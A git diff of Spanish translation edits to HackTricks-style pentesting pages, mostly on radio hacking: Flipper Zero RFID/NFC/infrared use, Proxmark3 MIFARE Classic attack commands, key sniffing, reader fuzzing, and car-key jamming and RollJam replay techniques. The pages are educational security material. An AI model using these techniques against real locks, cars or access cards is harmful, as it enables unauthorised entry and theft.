 FISSURE es un marco de RF y ingeniería inversa de código abierto diseñado para todos los niveles de habilidad, con ganchos para la detección y clasificación de señales, descubrimiento de protocolos, ejecución de ataques, manipulación de IQ, análisis de vulnerabilidades, automatización y AI/ML. El marco fue construido para promover la integración rápida de módulos de software, radios, protocolos, datos de señales, scripts, gráficos de flujo, material de referencia y herramientas de terceros. FISSURE es un facilitador de flujo de trabajo que mantiene el software en un solo lugar y permite a los equipos ponerse al día sin esfuerzo mientras comparten la misma configuración base probada para distribuciones específicas de Linux.
 
-El marco y las herramientas incluidas con FISSURE están diseñadas para detectar la presencia de energía RF, entender las características de una señal, recolectar y analizar muestras, desarrollar técnicas de transmisión y/o inyección, y crear cargas útiles o mensajes personalizados. FISSURE contiene una biblioteca en crecimiento de información sobre protocolos y señales para ayudar en la identificación, creación de paquetes y fuzzing. Existen capacidades de archivo en línea para descargar archivos de señal y construir listas de reproducción para simular tráfico y probar sistemas.
+El marco y las herramientas incluidas con FISSURE están diseñadas para detectar la presencia de energía RF, entender las características de una señal, recolectar y analizar muestras, desarrollar técnicas de transmisión y/o inyección, y crear cargas útiles o mensajes personalizados. FISSURE contiene una biblioteca en crecimiento de información sobre protocolos y señales para ayudar en la identificación, creación de paquetes y fuzzing. Existen capacidades de archivo en línea para descargar archivos de señales y construir listas de reproducción para simular tráfico y probar sistemas.
 
 La amigable base de código en Python y la interfaz de usuario permiten a los principiantes aprender rápidamente sobre herramientas y técnicas populares relacionadas con RF y la ingeniería inversa. Los educadores en ciberseguridad e ingeniería pueden aprovechar el material incorporado o utilizar el marco para demostrar sus propias aplicaciones del mundo real. Los desarrolladores e investigadores pueden usar FISSURE para sus tareas diarias o para exponer sus soluciones de vanguardia a una audiencia más amplia. A medida que la conciencia y el uso de FISSURE crecen en la comunidad, también lo hará la extensión de sus capacidades y la amplitud de la tecnología que abarca.
 
@@ -127,11 +127,11 @@ FISSURE viene con varias guías útiles para familiarizarse con diferentes tecno
 * [ ] Implementar mecanismos de demodulación recursiva para producir un flujo de bits a partir de señales desconocidas
 * [ ] Transicionar los componentes principales de FISSURE a un esquema de implementación de nodo sensor genérico
 
-## Contribuyendo
+## Contribuciones
 
 Se alientan fuertemente las sugerencias para mejorar FISSURE. Deje un comentario en la página de [Discusiones](https://github.com/ainfosec/FISSURE/discussions) o en el Servidor de Discord si tiene alguna idea sobre lo siguiente:
 
-* Sugerencias de nuevas características y cambios de diseño
+* Nuevas sugerencias de características y cambios de diseño
 * Herramientas de software con pasos de instalación
 * Nuevas lecciones o material adicional para lecciones existentes
 * Protocolos RF de interés
@@ -147,9 +147,9 @@ Las contribuciones para mejorar FISSURE son cruciales para acelerar su desarroll
 4. Empuje a la rama (`git push origin feature/AmazingFeature`)
 5. Abra una solicitud de extracción
 
-Crear [Problemas](https://github.com/ainfosec/FISSURE/issues) para llamar la atención sobre errores también es bienvenido.
+Crear [Issues](https://github.com/ainfosec/FISSURE/issues) para llamar la atención sobre errores también es bienvenido.
 
-## Colaborando
+## Colaboración
 
 Contacte a Assured Information Security, Inc. (AIS) Desarrollo de Negocios para proponer y formalizar cualquier oportunidad de colaboración con FISSURE, ya sea dedicando tiempo a integrar su software, teniendo a las personas talentosas de AIS desarrollando soluciones para sus desafíos técnicos, o integrando FISSURE en otras plataformas/aplicaciones.
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
index fc6b6629c..dd0818ed4 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
@@ -24,7 +24,7 @@ Intenta **leer** la información de la tarjeta. Luego puede **emularlas**.
 
 ### Add Manually
 
-Puedes crear **tarjetas falsas en Flipper Zero indicando los datos** que ingresas manualmente y luego emularla.
+Puedes crear **tarjetas falsas en Flipper Zero indicando los datos** manualmente y luego emularla.
 
 #### IDs on cards
 
@@ -32,7 +32,7 @@ A veces, cuando obtienes una tarjeta, encontrarás el ID (o parte de él) escrit
 
 - **EM Marin**
 
-Por ejemplo, en esta tarjeta EM-Marin, en la tarjeta física es posible **leer los últimos 3 de 5 bytes en claro**.\
+Por ejemplo, en esta tarjeta EM-Marin es posible **leer los últimos 3 de 5 bytes en claro**.\
 Los otros 2 pueden ser forzados por fuerza bruta si no puedes leerlos de la tarjeta.
 
 <figure><img src="../../../images/image (104).png" alt=""><figcaption></figcaption></figure>
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
index fbaaaa41a..c216ef003 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Intro <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
+## Introducción <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
 
 Para más información sobre cómo funciona el infrarrojo, consulta:
 
@@ -16,7 +16,7 @@ Flipper utiliza un receptor de señal IR digital TSOP, que **permite interceptar
 
 El **receptor infrarrojo de Flipper es bastante sensible**. Incluso puedes **captar la señal** mientras te mantienes **en algún lugar entre** el control remoto y el televisor. No es necesario apuntar el control remoto directamente al puerto IR de Flipper. Esto es útil cuando alguien está cambiando de canal mientras está cerca del televisor, y tanto tú como Flipper están a cierta distancia.
 
-Como la **decodificación de la señal infrarroja** ocurre del lado del **software**, Flipper Zero potencialmente soporta la **recepción y transmisión de cualquier código remoto IR**. En el caso de protocolos **desconocidos** que no se pueden reconocer, **graba y reproduce** la señal en bruto exactamente como se recibió.
+Como la **decodificación de la señal infrarroja** ocurre del lado del **software**, Flipper Zero potencialmente soporta la **recepción y transmisión de cualquier código remoto IR**. En el caso de **protocolos desconocidos** que no se pueden reconocer, **graba y reproduce** la señal en bruto exactamente como se recibió.
 
 ## Acciones
 
@@ -26,7 +26,7 @@ Flipper Zero puede ser utilizado como un **control remoto universal para control
 
 Basta con presionar el botón de encendido en el modo de Control Remoto Universal, y Flipper **enviará secuencialmente comandos de "Apagar"** de todos los televisores que conoce: Sony, Samsung, Panasonic... y así sucesivamente. Cuando el televisor recibe su señal, reaccionará y se apagará.
 
-Tal fuerza bruta toma tiempo. Cuanto más grande sea el diccionario, más tiempo tomará terminar. Es imposible averiguar qué señal exactamente reconoció el televisor, ya que no hay retroalimentación del televisor.
+Tal ataque de fuerza bruta toma tiempo. Cuanto más grande sea el diccionario, más tiempo tomará terminar. Es imposible averiguar qué señal exactamente reconoció el televisor, ya que no hay retroalimentación del televisor.
 
 ### Aprender Nuevo Control Remoto
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-nfc.md b/src/todo/radio-hacking/flipper-zero/fz-nfc.md
index 2d062b28c..402171e06 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-nfc.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-nfc.md
@@ -28,10 +28,52 @@ Para **tarjetas NFC tipo B, tipo F y tipo V**, Flipper Zero puede leer un UID si
 
 Flipper Zero solo puede leer un UID, SAK, ATQA y datos almacenados en tarjetas bancarias **sin guardar**.
 
-Pantalla de lectura de tarjeta bancaria. Para tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardar ni emular**.
+Pantalla de lectura de tarjeta bancaria. Para tarjetas bancarias, Flipper Zero solo puede leer datos **sin guardar ni emularlos**.
 
 <figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
 
 #### Tarjetas desconocidas <a href="#id-37eo8" id="id-37eo8"></a>
 
-Cuando Flipper Zero es **incapaz de determinar el tipo de tarjeta NFC**, solo se puede **leer y guardar un UID,
+Cuando Flipper Zero es **incapaz de determinar el tipo de tarjeta NFC**, solo se puede **leer y guardar un UID, SAK y ATQA**.
+
+Pantalla de lectura de tarjeta desconocida. Para tarjetas NFC desconocidas, Flipper Zero solo puede emular un UID.
+
+<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
+
+### Tarjetas NFC tipos B, F y V <a href="#wyg51" id="wyg51"></a>
+
+Para **tarjetas NFC tipos B, F y V**, Flipper Zero solo puede **leer y mostrar un UID** sin guardarlo.
+
+<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
+
+## Acciones
+
+Para una introducción sobre NFC [**lee esta página**](../pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz).
+
+### Leer
+
+Flipper Zero puede **leer tarjetas NFC**, sin embargo, **no entiende todos los protocolos** que se basan en ISO 14443. Sin embargo, dado que **UID es un atributo de bajo nivel**, podrías encontrarte en una situación en la que **el UID ya está leído, pero el protocolo de transferencia de datos de alto nivel sigue siendo desconocido**. Puedes leer, emular e ingresar manualmente el UID usando Flipper para los lectores primitivos que utilizan UID para autorización.
+
+#### Leer el UID VS Leer los Datos Internos <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
+
+<figure><img src="../../../images/image (217).png" alt=""><figcaption></figcaption></figure>
+
+En Flipper, la lectura de etiquetas de 13.56 MHz se puede dividir en dos partes:
+
+- **Lectura de bajo nivel** — solo lee el UID, SAK y ATQA. Flipper intenta adivinar el protocolo de alto nivel basado en estos datos leídos de la tarjeta. No puedes estar 100% seguro de esto, ya que es solo una suposición basada en ciertos factores.
+- **Lectura de alto nivel** — lee los datos de la memoria de la tarjeta utilizando un protocolo de alto nivel específico. Eso sería leer los datos en un Mifare Ultralight, leer los sectores de un Mifare Classic o leer los atributos de la tarjeta de PayPass/Apple Pay.
+
+### Leer Específico
+
+En caso de que Flipper Zero no sea capaz de encontrar el tipo de tarjeta a partir de los datos de bajo nivel, en `Acciones Extra` puedes seleccionar `Leer Tipo de Tarjeta Específico` y **indicar manualmente** **el tipo de tarjeta que te gustaría leer**.
+
+#### Tarjetas Bancarias EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
+
+Aparte de simplemente leer el UID, puedes extraer muchos más datos de una tarjeta bancaria. Es posible **obtener el número completo de la tarjeta** (los 16 dígitos en el frente de la tarjeta), **fecha de validez**, y en algunos casos incluso el **nombre del propietario** junto con una lista de las **transacciones más recientes**.\
+Sin embargo, **no puedes leer el CVV de esta manera** (los 3 dígitos en la parte posterior de la tarjeta). Además, **las tarjetas bancarias están protegidas contra ataques de repetición**, por lo que copiarla con Flipper y luego intentar emularla para pagar algo no funcionará.
+
+## Referencias
+
+- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/ibutton.md b/src/todo/radio-hacking/ibutton.md
index fbe54a486..b6835819f 100644
--- a/src/todo/radio-hacking/ibutton.md
+++ b/src/todo/radio-hacking/ibutton.md
@@ -14,7 +14,7 @@ Usualmente, iButton implica la forma física de la clave y el lector: una moneda
 
 <figure><img src="../../images/image (1078).png" alt=""><figcaption></figcaption></figure>
 
-Cuando la clave llega al lector, **los contactos se tocan** y la clave se alimenta para **transmitir** su ID. A veces, la clave **no se lee** de inmediato porque el **PSD de contacto de un intercomunicador es más grande** de lo que debería ser. Así que los contornos exteriores de la clave y el lector no podrían tocarse. Si ese es el caso, tendrás que presionar la clave sobre una de las paredes del lector.
+Cuando la clave llega al lector, los **contactos se tocan** y la clave se alimenta para **transmitir** su ID. A veces, la clave **no se lee** de inmediato porque el **PSD de contacto de un intercomunicador es más grande** de lo que debería ser. Así que los contornos exteriores de la clave y el lector no podrían tocarse. Si ese es el caso, tendrás que presionar la clave sobre una de las paredes del lector.
 
 <figure><img src="../../images/image (290).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/todo/radio-hacking/infrared.md b/src/todo/radio-hacking/infrared.md
index 31a6e0b57..b6a0e9162 100644
--- a/src/todo/radio-hacking/infrared.md
+++ b/src/todo/radio-hacking/infrared.md
@@ -26,20 +26,20 @@ Los bits se codifican modulando la duración del espacio entre pulsos. El ancho
 
 **2. Codificación por Ancho de Pulso**
 
-Los bits se codifican mediante la modulación del ancho del pulso. El ancho del espacio después de la explosión de pulso es constante.
+Los bits se codifican mediante la modulación del ancho del pulso. El ancho del espacio después de la ráfaga de pulso es constante.
 
 <figure><img src="../../images/image (282).png" alt=""><figcaption></figcaption></figure>
 
 **3. Codificación por Fase**
 
-También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre la explosión de pulso y el espacio. "Espacio a explosión de pulso" denota lógica "0", "explosión de pulso a espacio" denota lógica "1".
+También se conoce como codificación Manchester. El valor lógico se define por la polaridad de la transición entre la ráfaga de pulso y el espacio. "Espacio a ráfaga de pulso" denota lógica "0", "ráfaga de pulso a espacio" denota lógica "1".
 
 <figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
 
 **4. Combinación de las anteriores y otras exóticas**
 
 > [!NOTE]
-> Hay protocolos IR que están **tratando de volverse universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, el más famoso **no significa el más común**. En mi entorno, solo encontré dos controles remotos NEC y ninguno RC5.
+> Hay protocolos IR que están **intentando volverse universales** para varios tipos de dispositivos. Los más famosos son RC5 y NEC. Desafortunadamente, lo más famoso **no significa lo más común**. En mi entorno, solo encontré dos controles remotos NEC y ninguno RC5.
 >
 > A los fabricantes les encanta usar sus propios protocolos IR únicos, incluso dentro de la misma gama de dispositivos (por ejemplo, cajas de TV). Por lo tanto, los controles remotos de diferentes empresas y a veces de diferentes modelos de la misma empresa, no pueden trabajar con otros dispositivos del mismo tipo.
 
@@ -55,11 +55,11 @@ Luego se transmiten los datos. La estructura, el preámbulo y el método de codi
 
 El **protocolo IR NEC** contiene un comando corto y un código de repetición, que se envía mientras se presiona el botón. Tanto el comando como el código de repetición tienen el mismo preámbulo al principio.
 
-El **comando NEC**, además del preámbulo, consiste en un byte de dirección y un byte de número de comando, por el cual el dispositivo entiende qué debe realizar. Los bytes de dirección y número de comando se duplican con valores inversos, para verificar la integridad de la transmisión. Hay un bit de parada adicional al final del comando.
+El **comando NEC**, además del preámbulo, consiste en un byte de dirección y un byte de número de comando, por el cual el dispositivo entiende qué debe realizarse. Los bytes de dirección y número de comando se duplican con valores inversos, para verificar la integridad de la transmisión. Hay un bit de parada adicional al final del comando.
 
 El **código de repetición** tiene un "1" después del preámbulo, que es un bit de parada.
 
-Para **lógica "0" y "1"** NEC utiliza Codificación por Distancia de Pulso: primero, se transmite una explosión de pulso después de la cual hay una pausa, cuya longitud establece el valor del bit.
+Para **lógica "0" y "1"** NEC utiliza Codificación por Distancia de Pulso: primero, se transmite una ráfaga de pulso después de la cual hay una pausa, cuya longitud establece el valor del bit.
 
 ### Aires Acondicionados
 
diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md
index a24ba8f89..1330e5b5d 100644
--- a/src/todo/radio-hacking/low-power-wide-area-network.md
+++ b/src/todo/radio-hacking/low-power-wide-area-network.md
@@ -7,7 +7,7 @@
 **Red de Área Amplia de Bajo Consumo** (LPWAN) es un grupo de tecnologías de red inalámbrica, de bajo consumo y de área amplia diseñadas para **comunicaciones de largo alcance** a una baja tasa de bits.\
 Pueden alcanzar más de **seis millas** y sus **baterías** pueden durar hasta **20 años**.
 
-Largo Alcance (**LoRa**) es popular en múltiples países y tiene una especificación de código abierto llamada **LoRaWAN**.
+Long Range (**LoRa**) es popular en múltiples países y tiene una especificación de código abierto llamada **LoRaWAN**.
 
 ### LPWAN, LoRa y LoRaWAN
 
diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md
index 8cd2a5725..db30c74c1 100644
--- a/src/todo/radio-hacking/pentesting-rfid.md
+++ b/src/todo/radio-hacking/pentesting-rfid.md
@@ -62,7 +62,7 @@ flipper-zero/fz-125khz-rfid.md
 Las **etiquetas de alta frecuencia** se utilizan para una interacción más compleja entre el lector y la etiqueta cuando se necesita criptografía, una gran transferencia de datos bidireccional, autenticación, etc.\
 Se encuentran generalmente en tarjetas bancarias, transporte público y otros pases seguros.
 
-Las **etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Se suelen denominar [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básico utilizado en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz.
+Las **etiquetas de alta frecuencia de 13.56 MHz son un conjunto de estándares y protocolos**. Se suelen denominar [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), pero eso no siempre es correcto. El conjunto de protocolos básicos utilizados en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como los estándares alternativos (como ISO 19092), se basan en él. Muchas personas se refieren a esta tecnología como **Comunicación de Campo Cercano (NFC)**, un término para dispositivos que operan en la frecuencia de 13.56 MHz.
 
 <figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md
index 3286c2b4f..6c642b21b 100644
--- a/src/todo/radio-hacking/proxmark-3.md
+++ b/src/todo/radio-hacking/proxmark-3.md
@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Ataques a sistemas RFID con Proxmark3
+## Atacando sistemas RFID con Proxmark3
 
-Lo primero que necesitas es tener un [**Proxmark3**](https://proxmark.com) y [**instalar el software y sus dependencias**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
+Lo primero que necesitas hacer es tener un [**Proxmark3**](https://proxmark.com) y [**instalar el software y sus dependencias**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
 
-### Ataques a MIFARE Classic 1KB
+### Atacando MIFARE Classic 1KB
 
 Tiene **16 sectores**, cada uno de ellos tiene **4 bloques** y cada bloque contiene **16B**. El UID está en el sector 0 bloque 0 (y no se puede alterar).\
-Para acceder a cada sector necesitas **2 claves** (**A** y **B**) que se almacenan en **el bloque 3 de cada sector** (trailer del sector). El trailer del sector también almacena los **bits de acceso** que otorgan los permisos de **lectura y escritura** en **cada bloque** utilizando las 2 claves.\
+Para acceder a cada sector necesitas **2 claves** (**A** y **B**) que están almacenadas en **el bloque 3 de cada sector** (trailer del sector). El trailer del sector también almacena los **bits de acceso** que otorgan los permisos de **lectura y escritura** en **cada bloque** utilizando las 2 claves.\
 2 claves son útiles para otorgar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo).
 
-Se pueden realizar varios ataques
+Se pueden realizar varios ataques.
 ```bash
 proxmark3> hf mf #List attacks
 
@@ -31,7 +31,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
 proxmark3> hf mf eget 01 # Read block 1
 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
 ```
-El Proxmark3 permite realizar otras acciones como **interceptar** una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`).
+El Proxmark3 permite realizar otras acciones como **interceptar** una **comunicación de Tag a Reader** para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente esnifar la comunicación y calcular la clave utilizada porque las **operaciones criptográficas utilizadas son débiles** y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta `mfkey64`).
 
 ### Comandos en Crudo
 
@@ -49,10 +49,10 @@ Con esta información, podrías intentar buscar información sobre la tarjeta y
 
 ### Scripts
 
-El software Proxmark3 viene con una lista precargada de **scripts de automatización** que puedes usar para realizar tareas simples. Para recuperar la lista completa, utiliza el comando `script list`. A continuación, utiliza el comando `script run`, seguido del nombre del script:
+El software Proxmark3 viene con una lista precargada de **scripts de automatización** que puedes usar para realizar tareas simples. Para recuperar la lista completa, utiliza el comando `script list`. A continuación, usa el comando `script run`, seguido del nombre del script:
 ```
 proxmark3> script run mfkeys
 ```
-Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **tarjeta válida** solo escribe un **script Lua** que **randomice** uno o más **bytes** aleatorios y verifique si el **lector se bloquea** con alguna iteración.
+Puedes crear un script para **fuzz tag readers**, así que copiando los datos de una **tarjeta válida** solo escribe un **script Lua** que **randomice** uno o más **bytes** aleatorios y verifica si el **lector se bloquea** con alguna iteración.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md
index 50e07b730..8aa850e50 100644
--- a/src/todo/radio-hacking/sub-ghz-rf.md
+++ b/src/todo/radio-hacking/sub-ghz-rf.md
@@ -25,7 +25,7 @@ Además, al usar la Secuencia de De Bruijn (una forma de reducir el número de b
 
 <figure><img src="../../images/image (583).png" alt=""><figcaption></figcaption></figure>
 
-Un ejemplo de este ataque fue implementado en [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
+Un ejemplo de este ataque se implementó en [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
 
 Requerir **un preámbulo evitará la optimización de la Secuencia de De Bruijn** y **los códigos rodantes evitarán este ataque** (suponiendo que el código sea lo suficientemente largo como para no ser susceptible a la fuerza bruta).
 
@@ -41,7 +41,7 @@ flipper-zero/fz-sub-ghz.md
 
 Los abridores automáticos de puertas de garaje suelen utilizar un control remoto inalámbrico para abrir y cerrar la puerta del garaje. El control remoto **envía una señal de frecuencia de radio (RF)** al abridor de la puerta del garaje, que activa el motor para abrir o cerrar la puerta.
 
-Es posible que alguien use un dispositivo conocido como un code grabber para interceptar la señal RF y grabarla para su uso posterior. Esto se conoce como un **ataque de repetición**. Para prevenir este tipo de ataque, muchos abridores de puertas de garaje modernos utilizan un método de cifrado más seguro conocido como un sistema de **código rodante**.
+Es posible que alguien use un dispositivo conocido como capturador de códigos para interceptar la señal RF y grabarla para su uso posterior. Esto se conoce como un **ataque de repetición**. Para prevenir este tipo de ataque, muchos abridores de puertas de garaje modernos utilizan un método de cifrado más seguro conocido como un sistema de **código rodante**.
 
 La **señal RF se transmite típicamente utilizando un código rodante**, lo que significa que el código cambia con cada uso. Esto hace que sea **difícil** para alguien **interceptar** la señal y **utilizarla** para obtener acceso **no autorizado** al garaje.
 
@@ -55,15 +55,15 @@ Básicamente, escuchas el botón y **capturas la señal mientras el control remo
 
 Un atacante podría **interferir la señal cerca del vehículo o receptor** para que el **receptor no pueda realmente 'escuchar' el código**, y una vez que eso esté sucediendo, puedes simplemente **capturar y reproducir** el código cuando hayas dejado de interferir.
 
-La víctima en algún momento usará las **llaves para cerrar el automóvil**, pero luego el ataque habrá **grabado suficientes códigos de "cerrar puerta"** que, con suerte, podrían ser reenviados para abrir la puerta (puede ser **necesario un cambio de frecuencia** ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar pero escuchan ambos comandos en diferentes frecuencias).
+La víctima en algún momento usará las **llaves para cerrar el automóvil**, pero luego el ataque habrá **grabado suficientes códigos de "cerrar puerta"** que, con suerte, podrían ser reenviados para abrir la puerta (puede ser **necesario un cambio de frecuencia** ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar, pero escuchan ambos comandos en diferentes frecuencias).
 
 > [!WARNING]
 > **La interferencia funciona**, pero es notable, ya que si la **persona que cierra el automóvil simplemente prueba las puertas** para asegurarse de que están cerradas, notaría que el automóvil está desbloqueado. Además, si estuvieran al tanto de tales ataques, incluso podrían escuchar el hecho de que las puertas nunca hicieron el **sonido** de bloqueo o que las **luces** del automóvil nunca parpadearon cuando presionaron el botón de 'bloquear'.
 
 ### **Ataque de Captura de Código (también conocido como 'RollJam')**
 
-Esta es una técnica de **interferencia más sigilosa**. El atacante interferirá la señal, de modo que cuando la víctima intente cerrar la puerta, no funcione, pero el atacante **grabará este código**. Luego, la víctima **intenta cerrar el automóvil nuevamente** presionando el botón y el automóvil **grabará este segundo código**.\
-Instantáneamente después de esto, el **atacante puede enviar el primer código** y el **automóvil se cerrará** (la víctima pensará que la segunda presión lo cerró). Luego, el atacante podrá **enviar el segundo código robado para abrir** el automóvil (suponiendo que un **código de "cerrar automóvil" también se puede usar para abrirlo**). Puede ser necesario un cambio de frecuencia (ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar pero escuchan ambos comandos en diferentes frecuencias).
+Esta es una técnica de **interferencia más sigilosa**. El atacante interferirá la señal, de modo que cuando la víctima intente cerrar la puerta, no funcionará, pero el atacante **grabará este código**. Luego, la víctima **intenta cerrar el automóvil nuevamente** presionando el botón y el automóvil **grabará este segundo código**.\
+Instantáneamente después de esto, el **atacante puede enviar el primer código** y el **automóvil se cerrará** (la víctima pensará que la segunda presión lo cerró). Luego, el atacante podrá **enviar el segundo código robado para abrir** el automóvil (suponiendo que un **código de "cerrar automóvil" también se puede usar para abrirlo**). Puede ser necesario un cambio de frecuencia (ya que hay automóviles que utilizan los mismos códigos para abrir y cerrar, pero escuchan ambos comandos en diferentes frecuencias).
 
 El atacante puede **interferir el receptor del automóvil y no su receptor** porque si el receptor del automóvil está escuchando, por ejemplo, en un ancho de banda de 1MHz, el atacante no **interferirá** la frecuencia exacta utilizada por el control remoto, sino **una cercana en ese espectro**, mientras que el **receptor del atacante estará escuchando en un rango más pequeño** donde puede escuchar la señal del control remoto **sin la señal de interferencia**.
 
diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md
index 23ab836e6..51657f83d 100644
--- a/src/todo/rust-basics.md
+++ b/src/todo/rust-basics.md
@@ -30,7 +30,7 @@ Puedes usar funciones como `is_some()` o `is_none()` para verificar el valor de
 
 ### Macros
 
-Las macros son más poderosas que las funciones porque se expanden para producir más código del que has escrito manualmente. Por ejemplo, una firma de función debe declarar el número y tipo de parámetros que tiene la función. Las macros, por otro lado, pueden tomar un número variable de parámetros: podemos llamar a `println!("hello")` con un argumento o `println!("hello {}", name)` con dos argumentos. Además, las macros se expanden antes de que el compilador interprete el significado del código, por lo que una macro puede, por ejemplo, implementar un trait en un tipo dado. Una función no puede, porque se llama en tiempo de ejecución y un trait necesita ser implementado en tiempo de compilación.
+Las macros son más poderosas que las funciones porque se expanden para producir más código del que has escrito manualmente. Por ejemplo, una firma de función debe declarar el número y tipo de parámetros que tiene la función. Las macros, por otro lado, pueden tomar un número variable de parámetros: podemos llamar a `println!("hello")` con un argumento o `println!("hello {}", name)` con dos argumentos. Además, las macros se expanden antes de que el compilador interprete el significado del código, por lo que una macro puede, por ejemplo, implementar un rasgo en un tipo dado. Una función no puede, porque se llama en tiempo de ejecución y un rasgo necesita ser implementado en tiempo de compilación.
 ```rust
 macro_rules! my_macro {
 () => {
diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md
index 85cbf3ed4..2797c5cf0 100644
--- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md
+++ b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\
+Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\
 Aquí te presento las principales formas en que puedes intentar lograrlo:
 
 - [**CORS bypass**](../pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa.
diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md
index 97b24cc80..7535fd4c9 100644
--- a/src/todo/test-llms.md
+++ b/src/todo/test-llms.md
@@ -21,7 +21,7 @@ LitServe es una herramienta de despliegue de Lightning AI diseñada para despleg
 
 ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)
 
-Axolotl es una plataforma basada en la nube diseñada para optimizar el despliegue, escalado y gestión de modelos de IA, incluidos LLMs. Ofrece características como escalado automatizado, monitoreo e integración con varios servicios en la nube, facilitando el despliegue de modelos en entornos de producción sin una gestión extensa de infraestructura.
+Axolotl es una plataforma basada en la nube diseñada para optimizar el despliegue, escalado y gestión de modelos de IA, incluidos LLMs. Ofrece características como escalado automático, monitoreo e integración con varios servicios en la nube, facilitando el despliegue de modelos en entornos de producción sin una gestión extensa de infraestructura.
 
 ## Probar modelos en línea
 
@@ -34,7 +34,7 @@ Ofrece varias secciones como:
